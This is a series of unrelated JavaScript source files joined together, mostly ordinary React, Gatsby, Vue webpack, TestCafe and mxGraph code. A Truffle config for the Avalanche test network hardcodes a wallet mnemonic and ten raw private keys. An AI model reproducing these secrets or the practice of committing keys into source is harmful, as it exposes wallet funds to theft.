import React, { useEffect } from "react"; import { Col, Container } from "react-bootstrap" import Video from "../../components/video/Video" import CategoriesBar from "../../components/categoriesBar/CategoriesBar" import { useDispatch, useSelector } from "react-redux"; import { getPopularVideos, getVideosByCategory } from "../../redux/actions/videos.action"; import InfiniteScroll from 'react-infinite-scroll-component' import SkeletonVideo from "../../components/skeletons/SkeletonVideo"; const HomeScreen = () => { const dispatch = useDispatch() useEffect(() => { dispatch(getPopularVideos()) }, [dispatch]) const {videos, activeCategory, loading} = useSelector(state => state.homeVideos) const fetchData = ()=> { if(activeCategory === 'All') dispatch(getPopularVideos()) else{ dispatch(getVideosByCategory(activeCategory)) } } return ( <Container> <CategoriesBar /> <InfiniteScroll dataLength={videos.length} next={fetchData} hasMore={true} loader={ <div className='spinner-border text-danger d-block mx-auto'></div>} className='row'> {!loading ? videos.map(video => ( <Col lg={3} md={4}> <Video video={video} key={video.id}/> </Col> )) : [...Array(20)].map(() => ( <Col lg={3} md={4}> <SkeletonVideo/> </Col> )) } </InfiniteScroll> </Container> ) } export default HomeScreen
require('dotenv').config({ path: `.env.${process.env.NODE_ENV}`, }) module.exports = { siteMetadata: { title: `Gatsby Default Starter`, description: `Kick off your next, great Gatsby project with this default starter. This barebones starter ships with the main Gatsby configuration files you might need.`, author: `@gatsbyjs`, }, plugins: [ `gatsby-plugin-react-helmet`, { resolve: `gatsby-source-filesystem`, options: { name: `images`, path: `${__dirname}/src/images`, }, }, `gatsby-transformer-sharp`, `gatsby-plugin-sharp`, { resolve: `gatsby-plugin-manifest`, options: { name: `gatsby-starter-default`, short_name: `starter`, start_url: `/`, background_color: `#663399`, theme_color: `#663399`, display: `minimal-ui`, icon: `src/images/gatsby-icon.png`, // This path is relative to the root of the site. }, }, `gatsby-plugin-flow`, `gatsby-plugin-sass`, { resolve: `gatsby-source-filesystem`, options: { name: `src`, path: `${__dirname}/src/`, }, }, `gatsby-transformer-remark`, // this (optional) plugin enables Progressive Web App + Offline functionality // To learn more, visit: https://gatsby.app/offline 'gatsby-plugin-offline', { resolve: `gatsby-source-airtable`, options: { apiKey: process.env.GATSBY_AIRTABLE_APIKEY, tables: [ { baseId: `appdTzUSAOOsonnQL`, tableName: `Rental`, tableView: `Grid view`, }, ], }, }, { resolve: `gatsby-plugin-google-analytics`, options: { trackingId: "UA-133649248-1", }, }, ], }
import React from "react" import Img from "gatsby-image" import "./project.scss" const Project = ({ number, projectData, imgData }) => { return ( <div className="project d-inline-block p-4"> <div className="project__container"> <a href={projectData.link} rel="noopener noreferrer" target="_blank"> <Img fluid={imgData} alt={projectData.name} className="project__img w-100 shadow mb-3" /> </a> <p className="project__number"> <b>{number}</b> </p> <p className="project__stack"> <b>{projectData.stack}</b> </p> <p className="project__name">{projectData.name}</p> <p className="project__info">{projectData.info}</p> </div> </div> ) } export default Project
import { css } from 'lit-element'; export default css` :host { display: flex; flex: 1; flex-direction: column; } ha-card { flex-direction: column; flex: 1; position: relative; padding: 0px; border-radius: 4px; overflow: hidden; } .preview { background: var(--primary-color); cursor: pointer; overflow: hidden; position: relative; } .map { display: block; max-width: 90%; image-rendering: crisp-edges; } @keyframes cleaning { 0% { transform: rotate(0) translate(0); } 5% { transform: rotate(0) translate(0, -10px); } 10% { transform: rotate(0) translate(0, 5px); } 15% { transform: rotate(0) translate(0); } /* Turn left */ 20% { transform: rotate(30deg) translate(0); } 25% { transform: rotate(30deg) translate(0, -10px); } 30% { transform: rotate(30deg) translate(0, 5px); } 35% { transform: rotate(30deg) translate(0); } 40% { transform: rotate(0) translate(0); } /* Turn right */ 45% { transform: rotate(-30deg) translate(0); } 50% { transform: rotate(-30deg) translate(0, -10px); } 55% { transform: rotate(-30deg) translate(0, 5px); } 60% { transform: rotate(-30deg) translate(0); } 70% { transform: rotate(0deg) translate(0); } /* Staying still */ 100% { transform: rotate(0deg); } } @keyframes returning { 0% { transform: rotate(0); } 25% { transform: rotate(10deg); } 50% { transform: rotate(0); } 75% { transform: rotate(-10deg); } 100% { transform: rotate(0); } } .vacuum { display: block; max-width: 90%; max-height: 200px; image-rendering: crisp-edges; margin: 30px auto 20px auto; } .vacuum.cleaning { animation: cleaning 5s linear infinite; } .vacuum.returning { animation: returning 2s linear infinite; } .vacuum.paused { opacity: 100%; } .vacuum.docked { opacity: 50%; } .fill-gap { flex-grow: 1; } .battery { text-align: right; font-weight: bold; padding: 9px 20px; } .source { text-align: center; } .status { height: 40px; display: flex; align-items: center; font-weight: bold; padding: 9px 20px; text-align: left; } .status-text { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; } .status paper-spinner { min-width: 20px; width: 20px; height: 20px; margin-left: 9px; } .vacuum-name { text-align: center; font-weight: bold; margin: 10px auto 20px; color: var(--text-primary-color); font-size: 16px; } .stats { border-top: 1px solid rgba(255, 255, 255, 0.2); display: flex; flex-direction: row; justify-content: space-evenly; color: var(--text-primary-color); } .stats-block { margin: 10px 0px; text-align: center; border-right: 1px solid rgba(255, 255, 255, 0.2); flex-grow: 1; } .stats-block:last-child { border: 0px; } .stats-hours { font-size: 20px; font-weight: bold; } ha-icon { color: #fff; } .toolbar { background: var(--lovelace-background, var(--primary-background-color)); min-height: 30px; display: flex; flex-direction: row; justify-content: space-evenly; } .toolbar ha-icon-button { color: var(--primary-color); flex-direction: column; width: 44px; height: 44px; --mdc-icon-button-size: 44px; margin: 5px 0; } .toolbar ha-icon-button:first-child { margin-left: 5px; } .toolbar ha-icon-button:last-child { margin-right: 5px; } .toolbar paper-button { color: var(--primary-color); flex-direction: column; margin-right: 10px; padding: 15px 10px; cursor: pointer; } .toolbar ha-icon-button:active, .toolbar paper-button:active { opacity: 0.4; background: rgba(0, 0, 0, 0.1); } .toolbar paper-button { color: var(--primary-color); flex-direction: row; } .toolbar ha-icon { color: var(--primary-color); padding-right: 15px; } .header { height: 40px; display: flex; flex-direction: row; justify-content: space-between; align-items: center; color: var(--text-primary-color); } .header div { width: 33.3%; box-sizing: border-box; } .toolbar-split { padding-right: 15px; } `;
// import { BaseModel } from './MainModel' // export default class LineModel extends BaseModel { // async notifyredirect(data) { // return this.authLineFetch({ // url: 'linenotify/notifyredirect', // method: 'POST', // body: JSON.stringify(data), // }) // } // }
import React, { Component } from "react" import { Link } from "gatsby" import { rhythm, options } from "../../utils/typography" import presets, { colors, space, dimensions } from "../../utils/presets" import Checkmark from "./check.svg" import Button from "../../components/button" import ArrowForwardIcon from "react-icons/lib/md/arrow-forward" // const CreatorsHeaderLink = ({ linkTo, children }) => ( // <li // css={{ // display: `flex`, // alignItems: `center`, // margin: 0, // }} // > // <Link // to={linkTo} // state={{ filter: `` }} // activeStyle={{ // backgroundColor: colors.gatsby, // color: colors.white, // }} // css={{ // ...styles.CreatorsHeaderLink, // }} // > // {children} // </Link> // </li> // ) class CreatorsHeader extends Component { render() { const { /*forHire, hiring,*/ submissionText } = this.props return ( <div css={{ ...styles.header, }} > <Link to="/creators/" state={{ filter: `` }} css={{ ...styles.creatorsLink, }} > Creators </Link> {/* <nav role="navigation" css={{ display: `flex`, justifyContent: `space-between`, alignItems: `center`, [breakpoints.sm]: { justifyContent: `flex-start`, }, }} > <CreatorsHeaderLink linkTo="/creators/">All</CreatorsHeaderLink> <CreatorsHeaderLink linkTo="/creators/people/"> People </CreatorsHeaderLink> <CreatorsHeaderLink linkTo="/creators/agencies/"> Agencies </CreatorsHeaderLink> <CreatorsHeaderLink linkTo="/creators/companies/"> Companies </CreatorsHeaderLink> </nav> */} <div className="creators--filters" css={{ display: `flex`, flex: `2`, }} > {/* <label className="label" css={[styles.filter, forHire && styles.activeFilter]} > <input type="checkbox" name="forHire" css={{ ...styles.input, }} checked={forHire} onChange={() => this.props.applyFilter(`for_hire`)} disabled={hiring} /> For Hire </label> <label className="label" css={[styles.filter, hiring && styles.activeFilter]} > <input type="checkbox" name="hiring" css={{ ...styles.input, }} checked={hiring} onChange={() => this.props.applyFilter(`hiring`)} disabled={forHire} /> Hiring </label> */} <div css={{ marginLeft: `auto`, display: `flex`, alignItems: `center`, }} > <Button small to="/docs/submit-to-creator-showcase/" icon={<ArrowForwardIcon />} > {submissionText} </Button> </div> </div> </div> ) } } export default CreatorsHeader const styles = { header: { display: `flex`, flexDirection: `row`, alignItems: `center`, borderBottom: `1px solid ${colors.ui.light}`, backgroundColor: `rgba(255,255,255,0.975)`, zIndex: `2`, padding: `0 ${rhythm(space[6])}`, height: dimensions.headerHeight, fontFamily: options.headerFontFamily.join(`,`), }, creatorsLink: { "&&": { fontSize: presets.scale[4], color: colors.gatsby, borderBottom: `none`, marginRight: rhythm(space[3]), "&:hover": { backgroundColor: `initial`, }, }, }, CreatorsHeaderLink: { "&&": { fontSize: presets.scale[2], lineHeight: presets.lineHeights.solid, letterSpacing: presets.letterSpacings.tracked, textTransform: `uppercase`, fontWeight: `normal`, borderBottom: `none`, padding: `${rhythm(space[1])} ${rhythm(space[2])}`, marginRight: rhythm(space[2]), borderRadius: 40, "&:hover": { backgroundColor: colors.gatsby, color: colors.white, }, }, }, filter: { border: `1px solid ${colors.ui.bright}`, borderRadius: 40, margin: `${rhythm(space[6])} ${rhythm(space[1])}`, paddingLeft: rhythm(space[1]), paddingRight: rhythm(space[3]), display: `flex`, alignItems: `center`, justifyContent: `space-between`, color: colors.gatsby, cursor: `pointer`, }, input: { appearance: `none`, width: rhythm(space[4]), height: rhythm(space[4]), border: `1px solid ${colors.ui.bright}`, borderRadius: 40, marginRight: `${rhythm(space[2])}`, outline: `none`, "&:checked": { backgroundColor: colors.gatsby, backgroundImage: `url(${Checkmark})`, backgroundPosition: `center`, backgroundRepeat: `no-repeat`, }, }, activeFilter: { backgroundColor: colors.ui.bright, color: colors.gatsby, }, }
require('@babel/register'); ({ ignore: /node_modules/ }); require('@babel/polyfill'); const HDWalletProvider = require('@truffle/hdwallet-provider'); let mnemonic = 'jazz entry brown venture story rifle payment essay grid clog metal genre'; let testAccounts = [ "0x29cdb5ef2cfad0a00c5f3235c32bc1bc813220727b24104b2e5778dae3d9547b", "0x681bd278b75f67217f50500a07e071ad8b087947330218fd2a898cb6525d29b0", "0xd23f7a9d38ed93f02e9ac140a981bc5fa77f2a6ee548f6954891bc04040c728f", "0x64530735943fe7428c220e1d43b13a11f24bd38b69f414528d16a5e3920fbe41", "0xf3d89f9d2ee0c4b1682063b178460784a1fe005b16485d149160ce4cd89b3ea1", "0x039d7298eaef9e4293dfc069029999741d5021be42649a69b31e1ae4024c5364", "0x3925feb4cb3f81362c92a0104fc8b49ee9b1ad28dbaa1a2949853ec8a5d4f6d2", "0x112e8b678ede768e4c357ba3c3a22c276c7c051a5429f1b708e7f3b47c02c6a0", "0x9b8dcad6f4590f3af241277437d9aca07f4c357ebab0dd40debbfbd1888ac894", "0x9efd05558a330df6dabff8af7744bde68a058dea6432bb728ff8c42f18b621b1" ]; let devUri = 'https://api.avax-test.network/ext/bc/C/rpc'; module.exports = { testAccounts, mnemonic, networks: { development: { uri: devUri, provider: () => new HDWalletProvider( mnemonic, devUri, // provider url 0, // address index 6, // number of addresses true, // share nonce `m/44'/60'/0'/0/` // wallet HD path ), gas: 8000000, network_id: '*', chainId: 43113, skipDryRun: true } }, compilers: { solc: { version: '^0.8.0' } } };
// config that are specific to --target app module.exports = (api, options) => { api.chainWebpack(webpackConfig => { // only apply when there's no alternative target if (process.env.VUE_CLI_TARGET) { return } // inject preload/prefetch to HTML const PreloadPlugin = require('../webpack/PreloadPlugin') webpackConfig .plugin('preload') .use(PreloadPlugin, [{ rel: 'preload', include: 'initial', fileBlacklist: [/\.map$/, /hot-update\.js$/] }]) webpackConfig .plugin('prefetch') .use(PreloadPlugin, [{ rel: 'prefetch', include: 'asyncChunks' }]) // HTML plugin const fs = require('fs') const htmlPath = api.resolve('public/index.html') const resolveClientEnv = require('../util/resolveClientEnv') webpackConfig .plugin('html') .use(require('html-webpack-plugin'), [ Object.assign( fs.existsSync(htmlPath) ? { template: htmlPath } : {}, // expose client env to html template { env: resolveClientEnv(options.baseUrl, true /* raw */) } ) ]) // copy static assets in public/ webpackConfig .plugin('copy') .use(require('copy-webpack-plugin'), [[{ from: api.resolve('public'), to: api.resolve(options.outputDir), ignore: ['index.html', '.DS_Store'] }]]) if (process.env.NODE_ENV === 'production') { // minify HTML webpackConfig .plugin('html') .tap(([options]) => [Object.assign(options, { minify: { removeComments: true, collapseWhitespace: true, removeAttributeQuotes: true // more options: // https://github.com/kangax/html-minifier#options-quick-reference }, // necessary to consistently work with multiple chunks via CommonsChunkPlugin chunksSortMode: 'dependency' })]) // Code splitting configs for better long-term caching // This needs to be updated when upgrading to webpack 4 const CommonsChunkPlugin = require('webpack/lib/optimize/CommonsChunkPlugin') if (!options.dll) { // extract vendor libs into its own chunk for better caching, since they // are more likely to stay the same. webpackConfig .plugin('split-vendor') .use(CommonsChunkPlugin, [{ name: 'vendor', minChunks (module) { // any required modules inside node_modules are extracted to vendor return ( module.resource && /\.js$/.test(module.resource) && module.resource.indexOf(`node_modules`) > -1 ) } }]) // extract webpack runtime and module manifest to its own file in order to // prevent vendor hash from being updated whenever app bundle is updated webpackConfig .plugin('split-manifest') .use(CommonsChunkPlugin, [{ name: 'manifest', minChunks: Infinity }]) // inline the manifest chunk into HTML webpackConfig .plugin('inline-manifest') .use(require('../webpack/InlineSourcePlugin'), [{ include: /manifest\..*\.js$/ }]) // since manifest is inlined, don't preload it anymore webpackConfig .plugin('preload') .tap(([options]) => { options.fileBlacklist.push(/manifest\..*\.js$/) return [options] }) } // This CommonsChunkPlugin instance extracts shared chunks from async // chunks and bundles them in a separate chunk, similar to the vendor chunk // see: https://webpack.js.org/plugins/commons-chunk-plugin/#extra-async-commons-chunk webpackConfig .plugin('split-vendor-async') .use(CommonsChunkPlugin, [{ name: 'app', async: 'vendor-async', children: true, minChunks: 3 }]) // DLL if (options.dll) { const webpack = require('webpack') const UglifyPlugin = require('uglifyjs-webpack-plugin') const getUglifyOptions = require('./uglifyOptions') const dllEntries = Array.isArray(options.dll) ? options.dll : Object.keys(api.service.pkg.dependencies) webpackConfig .plugin('dll') .use(require('autodll-webpack-plugin'), [{ inject: true, inherit: true, path: 'js/', context: api.resolve('.'), filename: '[name].[hash:8].js', entry: { 'vendor': [ ...dllEntries, 'vue-loader/lib/component-normalizer' ] }, plugins: [ new webpack.DefinePlugin(resolveClientEnv(options.baseUrl)), new UglifyPlugin(getUglifyOptions(options)) ] }]) .after('preload') } } }) }
const {Selector} = require('testcafe'); // Selectors function select(selector) { return Selector(selector).with({boundTestRun: testController}); } exports.haleywebsite = { url: function() { return 'https://www.haleybridge.com/'; }, searchTextBox: function() { return select('#search_keywords'); }, firstSearchResult: function() { return Selector('.search-title').nth(0).with({boundTestRun: testController}); }, searchLocation: function() { return select('#search_location'); }, searchButton: function() { return select('#search-value'); }, // loginButton: function() { // return select('.btn.btn-primary.btn-block'); // }, // loginErrorMessage: function() { // return select('#js-flash-container > div > div'); // }, // searchBox: function() { // return select('.header-search-input'); // }, // firstSearchResult: function() { // return Selector('.repo-list-item').nth(0).with({boundTestRun: testController}); // }, };
import React from "react"; import Pill from "./Pill"; import Button from "react-bootstrap/Button"; class ToRow extends React.Component { render() { const pills = this.props.groups.map(data => { if (data.state) { return ( <Pill key={data.key} data={data} handleClick={this.props.handleClick} /> ); } }); let classes = ["form-control", "h-100"]; if (this.props.validated && this.props.numTos === 0) { classes.push("is-invalid"); } else if (this.props.validated) { classes.push("is-valid"); } let controlClassNames = classes.join(" "); return ( <div className="my-2 form-floating"> <div className={controlClassNames} id="tosInput"> <div className="row"> <div className="col-auto"> <Button variant="primary" onClick={this.props.handleShowTo}> To </Button> </div> <div className="col p-1 pb-0"> {pills} </div> </div> </div> <label>Recipients</label> </div> ); } } export default ToRow;
/** * Copyright (c) 2006-2015, JGraph Ltd * Copyright (c) 2006-2015, Gaudenz Alder */ /** * Class: mxGraphView * * Extends <mxEventSource> to implement a view for a graph. This class is in * charge of computing the absolute coordinates for the relative child * geometries, the points for perimeters and edge styles and keeping them * cached in <mxCellStates> for faster retrieval. The states are updated * whenever the model or the view state (translate, scale) changes. The scale * and translate are honoured in the bounds. * * Event: mxEvent.UNDO * * Fires after the root was changed in <setCurrentRoot>. The <code>edit</code> * property contains the <mxUndoableEdit> which contains the * <mxCurrentRootChange>. * * Event: mxEvent.SCALE_AND_TRANSLATE * * Fires after the scale and translate have been changed in <scaleAndTranslate>. * The <code>scale</code>, <code>previousScale</code>, <code>translate</code> * and <code>previousTranslate</code> properties contain the new and previous * scale and translate, respectively. * * Event: mxEvent.SCALE * * Fires after the scale was changed in <setScale>. The <code>scale</code> and * <code>previousScale</code> properties contain the new and previous scale. * * Event: mxEvent.TRANSLATE * * Fires after the translate was changed in <setTranslate>. The * <code>translate</code> and <code>previousTranslate</code> properties contain * the new and previous value for translate. * * Event: mxEvent.DOWN and mxEvent.UP * * Fire if the current root is changed by executing an <mxCurrentRootChange>. * The event name depends on the location of the root in the cell hierarchy * with respect to the current root. The <code>root</code> and * <code>previous</code> properties contain the new and previous root, * respectively. * * Constructor: mxGraphView * * Constructs a new view for the given <mxGraph>. * * Parameters: * * graph - Reference to the enclosing <mxGraph>. */ function mxGraphView(graph) { this.graph = graph; this.translate = new mxPoint(); this.graphBounds = new mxRectangle(); this.states = new mxDictionary(); }; /** * Extends mxEventSource. */ mxGraphView.prototype = new mxEventSource(); mxGraphView.prototype.constructor = mxGraphView; /** * */ mxGraphView.prototype.EMPTY_POINT = new mxPoint(); /** * Variable: doneResource * * Specifies the resource key for the status message after a long operation. * If the resource for this key does not exist then the value is used as * the status message. Default is 'done'. */ mxGraphView.prototype.doneResource = (mxClient.language != 'none') ? 'done' : ''; /** * Function: updatingDocumentResource * * Specifies the resource key for the status message while the document is * being updated. If the resource for this key does not exist then the * value is used as the status message. Default is 'updatingDocument'. */ mxGraphView.prototype.updatingDocumentResource = (mxClient.language != 'none') ? 'updatingDocument' : ''; /** * Variable: allowEval * * Specifies if string values in cell styles should be evaluated using * <mxUtils.eval>. This will only be used if the string values can't be mapped * to objects using <mxStyleRegistry>. Default is false. NOTE: Enabling this * switch carries a possible security risk. */ mxGraphView.prototype.allowEval = false; /** * Variable: captureDocumentGesture * * Specifies if a gesture should be captured when it goes outside of the * graph container. Default is true. */ mxGraphView.prototype.captureDocumentGesture = true; /** * Variable: optimizeVmlReflows * * Specifies if the <canvas> should be hidden while rendering in IE8 standards * mode and quirks mode. This will significantly improve rendering performance. * Default is true. */ mxGraphView.prototype.optimizeVmlReflows = true; /** * Variable: rendering * * Specifies if shapes should be created, updated and destroyed using the * methods of <mxCellRenderer> in <graph>. Default is true. */ mxGraphView.prototype.rendering = true; /** * Variable: graph * * Reference to the enclosing <mxGraph>. */ mxGraphView.prototype.graph = null; /** * Variable: currentRoot * * <mxCell> that acts as the root of the displayed cell hierarchy. */ mxGraphView.prototype.currentRoot = null; /** * Variable: graphBounds * * <mxRectangle> that caches the scales, translated bounds of the current view. */ mxGraphView.prototype.graphBounds = null; /** * Variable: scale * * Specifies the scale. Default is 1 (100%). */ mxGraphView.prototype.scale = 1; /** * Variable: translate * * <mxPoint> that specifies the current translation. Default is a new * empty <mxPoint>. */ mxGraphView.prototype.translate = null; /** * Variable: states * * <mxDictionary> that maps from cell IDs to <mxCellStates>. */ mxGraphView.prototype.states = null; /** * Variable: updateStyle * * Specifies if the style should be updated in each validation step. If this * is false then the style is only updated if the state is created or if the * style of the cell was changed. Default is false. */ mxGraphView.prototype.updateStyle = false; /** * Variable: lastNode * * During validation, this contains the last DOM node that was processed. */ mxGraphView.prototype.lastNode = null; /** * Variable: lastHtmlNode * * During validation, this contains the last HTML DOM node that was processed. */ mxGraphView.prototype.lastHtmlNode = null; /** * Variable: lastForegroundNode * * During validation, this contains the last edge's DOM node that was processed. */ mxGraphView.prototype.lastForegroundNode = null; /** * Variable: lastForegroundHtmlNode * * During validation, this contains the last edge HTML DOM node that was processed. */ mxGraphView.prototype.lastForegroundHtmlNode = null; /** * Function: getGraphBounds * * Returns <graphBounds>. */ mxGraphView.prototype.getGraphBounds = function() { return this.graphBounds; }; /** * Function: setGraphBounds * * Sets <graphBounds>. */ mxGraphView.prototype.setGraphBounds = function(value) { this.graphBounds = value; }; /** * Function: getBounds * * Returns the union of all <mxCellStates> for the given array of <mxCells>. * * Parameters: * * cells - Array of <mxCells> whose bounds should be returned. */ mxGraphView.prototype.getBounds = function(cells) { var result = null; if (cells != null && cells.length > 0) { var model = this.graph.getModel(); for (var i = 0; i < cells.length; i++) { if (model.isVertex(cells[i]) || model.isEdge(cells[i])) { var state = this.getState(cells[i]); if (state != null) { if (result == null) { result = mxRectangle.fromRectangle(state); } else { result.add(state); } } } } } return result; }; /** * Function: setCurrentRoot * * Sets and returns the current root and fires an <undo> event before * calling <mxGraph.sizeDidChange>. * * Parameters: * * root - <mxCell> that specifies the root of the displayed cell hierarchy. */ mxGraphView.prototype.setCurrentRoot = function(root) { if (this.currentRoot != root) { var change = new mxCurrentRootChange(this, root); change.execute(); var edit = new mxUndoableEdit(this, true); edit.add(change); this.fireEvent(new mxEventObject(mxEvent.UNDO, 'edit', edit)); this.graph.sizeDidChange(); } return root; }; /** * Function: scaleAndTranslate * * Sets the scale and translation and fires a <scale> and <translate> event * before calling <revalidate> followed by <mxGraph.sizeDidChange>. * * Parameters: * * scale - Decimal value that specifies the new scale (1 is 100%). * dx - X-coordinate of the translation. * dy - Y-coordinate of the translation. */ mxGraphView.prototype.scaleAndTranslate = function(scale, dx, dy) { var previousScale = this.scale; var previousTranslate = new mxPoint(this.translate.x, this.translate.y); if (this.scale != scale || this.translate.x != dx || this.translate.y != dy) { this.scale = scale; this.translate.x = dx; this.translate.y = dy; if (this.isEventsEnabled()) { this.viewStateChanged(); } } this.fireEvent(new mxEventObject(mxEvent.SCALE_AND_TRANSLATE, 'scale', scale, 'previousScale', previousScale, 'translate', this.translate, 'previousTranslate', previousTranslate)); }; /** * Function: getScale * * Returns the <scale>. */ mxGraphView.prototype.getScale = function() { return this.scale; }; /** * Function: setScale * * Sets the scale and fires a <scale> event before calling <revalidate> followed * by <mxGraph.sizeDidChange>. * * Parameters: * * value - Decimal value that specifies the new scale (1 is 100%). */ mxGraphView.prototype.setScale = function(value) { var previousScale = this.scale; if (this.scale != value) { this.scale = value; if (this.isEventsEnabled()) { this.viewStateChanged(); } } this.fireEvent(new mxEventObject(mxEvent.SCALE, 'scale', value, 'previousScale', previousScale)); }; /** * Function: getTranslate * * Returns the <translate>. */ mxGraphView.prototype.getTranslate = function() { return this.translate; }; /** * Function: setTranslate * * Sets the translation and fires a <translate> event before calling * <revalidate> followed by <mxGraph.sizeDidChange>. The translation is the * negative of the origin. * * Parameters: * * dx - X-coordinate of the translation. * dy - Y-coordinate of the translation. */ mxGraphView.prototype.setTranslate = function(dx, dy) { var previousTranslate = new mxPoint(this.translate.x, this.translate.y); if (this.translate.x != dx || this.translate.y != dy) { this.translate.x = dx; this.translate.y = dy; if (this.isEventsEnabled()) { this.viewStateChanged(); } } this.fireEvent(new mxEventObject(mxEvent.TRANSLATE, 'translate', this.translate, 'previousTranslate', previousTranslate)); }; /** * Function: viewStateChanged * * Invoked after <scale> and/or <translate> has changed. */ mxGraphView.prototype.viewStateChanged = function() { this.revalidate(); this.graph.sizeDidChange(); }; /** * Function: refresh * * Clears the view if <currentRoot> is not null and revalidates. */ mxGraphView.prototype.refresh = function() { if (this.currentRoot != null) { this.clear(); } this.revalidate(); }; /** * Function: revalidate * * Revalidates the complete view with all cell states. */ mxGraphView.prototype.revalidate = function() { this.invalidate(); this.validate(); }; /** * Function: clear * * Removes the state of the given cell and all descendants if the given * cell is not the current root. * * Parameters: * * cell - Optional <mxCell> for which the state should be removed. Default * is the root of the model. * force - Boolean indicating if the current root should be ignored for * recursion. */ mxGraphView.prototype.clear = function(cell, force, recurse) { var model = this.graph.getModel(); cell = cell || model.getRoot(); force = (force != null) ? force : false; recurse = (recurse != null) ? recurse : true; this.removeState(cell); if (recurse && (force || cell != this.currentRoot)) { var childCount = model.getChildCount(cell); for (var i = 0; i < childCount; i++) { this.clear(model.getChildAt(cell, i), force); } } else { this.invalidate(cell); } }; /** * Function: invalidate * * Invalidates the state of the given cell, all its descendants and * connected edges. * * Parameters: * * cell - Optional <mxCell> to be invalidated. Default is the root of the * model. */ mxGraphView.prototype.invalidate = function(cell, recurse, includeEdges) { var model = this.graph.getModel(); cell = cell || model.getRoot(); recurse = (recurse != null) ? recurse : true; includeEdges = (includeEdges != null) ? includeEdges : true; var state = this.getState(cell); if (state != null) { state.invalid = true; } // Avoids infinite loops for invalid graphs if (!cell.invalidating) { cell.invalidating = true; // Recursively invalidates all descendants if (recurse) { var childCount = model.getChildCount(cell); for (var i = 0; i < childCount; i++) { var child = model.getChildAt(cell, i); this.invalidate(child, recurse, includeEdges); } } // Propagates invalidation to all connected edges if (includeEdges) { var edgeCount = model.getEdgeCount(cell); for (var i = 0; i < edgeCount; i++) { this.invalidate(model.getEdgeAt(cell, i), recurse, includeEdges); } } delete cell.invalidating; } }; /** * Function: validate * * Calls <validateCell> and <validateCellState> and updates the <graphBounds> * using <getBoundingBox>. Finally the background is validated using * <validateBackground>. * * Parameters: * * cell - Optional <mxCell> to be used as the root of the validation. * Default is <currentRoot> or the root of the model. */ mxGraphView.prototype.validate = function(cell) { var t0 = mxLog.enter('mxGraphView.validate'); window.status = mxResources.get(this.updatingDocumentResource) || this.updatingDocumentResource; this.resetValidationState(); // Improves IE rendering speed by minimizing reflows var prevDisplay = null; if (this.optimizeVmlReflows && this.canvas != null && this.textDiv == null && ((document.documentMode == 8 && !mxClient.IS_EM) || mxClient.IS_QUIRKS)) { // Placeholder keeps scrollbar positions when canvas is hidden this.placeholder = document.createElement('div'); this.placeholder.style.position = 'absolute'; this.placeholder.style.width = this.canvas.clientWidth + 'px'; this.placeholder.style.height = this.canvas.clientHeight + 'px'; this.canvas.parentNode.appendChild(this.placeholder); prevDisplay = this.drawPane.style.display; this.canvas.style.display = 'none'; // Creates temporary DIV used for text measuring in mxText.updateBoundingBox this.textDiv = document.createElement('div'); this.textDiv.style.position = 'absolute'; this.textDiv.style.whiteSpace = 'nowrap'; this.textDiv.style.visibility = 'hidden'; this.textDiv.style.display = (mxClient.IS_QUIRKS) ? 'inline' : 'inline-block'; this.textDiv.style.zoom = '1'; document.body.appendChild(this.textDiv); } var graphBounds = this.getBoundingBox(this.validateCellState( this.validateCell(cell || ((this.currentRoot != null) ? this.currentRoot : this.graph.getModel().getRoot())))); this.setGraphBounds((graphBounds != null) ? graphBounds : this.getEmptyBounds()); this.validateBackground(); if (prevDisplay != null) { this.canvas.style.display = prevDisplay; this.textDiv.parentNode.removeChild(this.textDiv); if (this.placeholder != null) { this.placeholder.parentNode.removeChild(this.placeholder); } // Textdiv cannot be reused this.textDiv = null; } this.resetValidationState(); window.status = mxResources.get(this.doneResource) || this.doneResource; mxLog.leave('mxGraphView.validate', t0); }; /** * Function: getEmptyBounds * * Returns the bounds for an empty graph. This returns a rectangle at * <translate> with the size of 0 x 0. */ mxGraphView.prototype.getEmptyBounds = function() { return new mxRectangle(this.translate.x * this.scale, this.translate.y * this.scale); }; /** * Function: getBoundingBox * * Returns the bounding box of the shape and the label for the given * <mxCellState> and its children if recurse is true. * * Parameters: * * state - <mxCellState> whose bounding box should be returned. * recurse - Optional boolean indicating if the children should be included. * Default is true. */ mxGraphView.prototype.getBoundingBox = function(state, recurse) { recurse = (recurse != null) ? recurse : true; var bbox = null; if (state != null) { if (state.shape != null && state.shape.boundingBox != null) { bbox = state.shape.boundingBox.clone(); } // Adds label bounding box to graph bounds if (state.text != null && state.text.boundingBox != null) { if (bbox != null) { bbox.add(state.text.boundingBox); } else { bbox = state.text.boundingBox.clone(); } } if (recurse) { var model = this.graph.getModel(); var childCount = model.getChildCount(state.cell); for (var i = 0; i < childCount; i++) { var bounds = this.getBoundingBox(this.getState(model.getChildAt(state.cell, i))); if (bounds != null) { if (bbox == null) { bbox = bounds; } else { bbox.add(bounds); } } } } } return bbox; }; /** * Function: createBackgroundPageShape * * Creates and returns the shape used as the background page. * * Parameters: * * bounds - <mxRectangle> that represents the bounds of the shape. */ mxGraphView.prototype.createBackgroundPageShape = function(bounds) { return new mxRectangleShape(bounds, 'white', 'black'); }; /** * Function: validateBackground * * Calls <validateBackgroundImage> and <validateBackgroundPage>. */ mxGraphView.prototype.validateBackground = function() { this.validateBackgroundImage(); this.validateBackgroundPage(); }; /** * Function: validateBackgroundImage * * Validates the background image. */ mxGraphView.prototype.validateBackgroundImage = function() { var bg = this.graph.getBackgroundImage(); if (bg != null) { if (this.backgroundImage == null || this.backgroundImage.image != bg.src) { if (this.backgroundImage != null) { this.backgroundImage.destroy(); } var bounds = new mxRectangle(0, 0, 1, 1); this.backgroundImage = new mxImageShape(bounds, bg.src); this.backgroundImage.dialect = this.graph.dialect; this.backgroundImage.init(this.backgroundPane); this.backgroundImage.redraw(); // Workaround for ignored event on background in IE8 standards mode if (document.documentMode == 8 && !mxClient.IS_EM) { mxEvent.addGestureListeners(this.backgroundImage.node, mxUtils.bind(this, function(evt) { this.graph.fireMouseEvent(mxEvent.MOUSE_DOWN, new mxMouseEvent(evt)); }), mxUtils.bind(this, function(evt) { this.graph.fireMouseEvent(mxEvent.MOUSE_MOVE, new mxMouseEvent(evt)); }), mxUtils.bind(this, function(evt) { this.graph.fireMouseEvent(mxEvent.MOUSE_UP, new mxMouseEvent(evt)); }) ); } } this.redrawBackgroundImage(this.backgroundImage, bg); } else if (this.backgroundImage != null) { this.backgroundImage.destroy(); this.backgroundImage = null; } }; /** * Function: validateBackgroundPage * * Validates the background page. */ 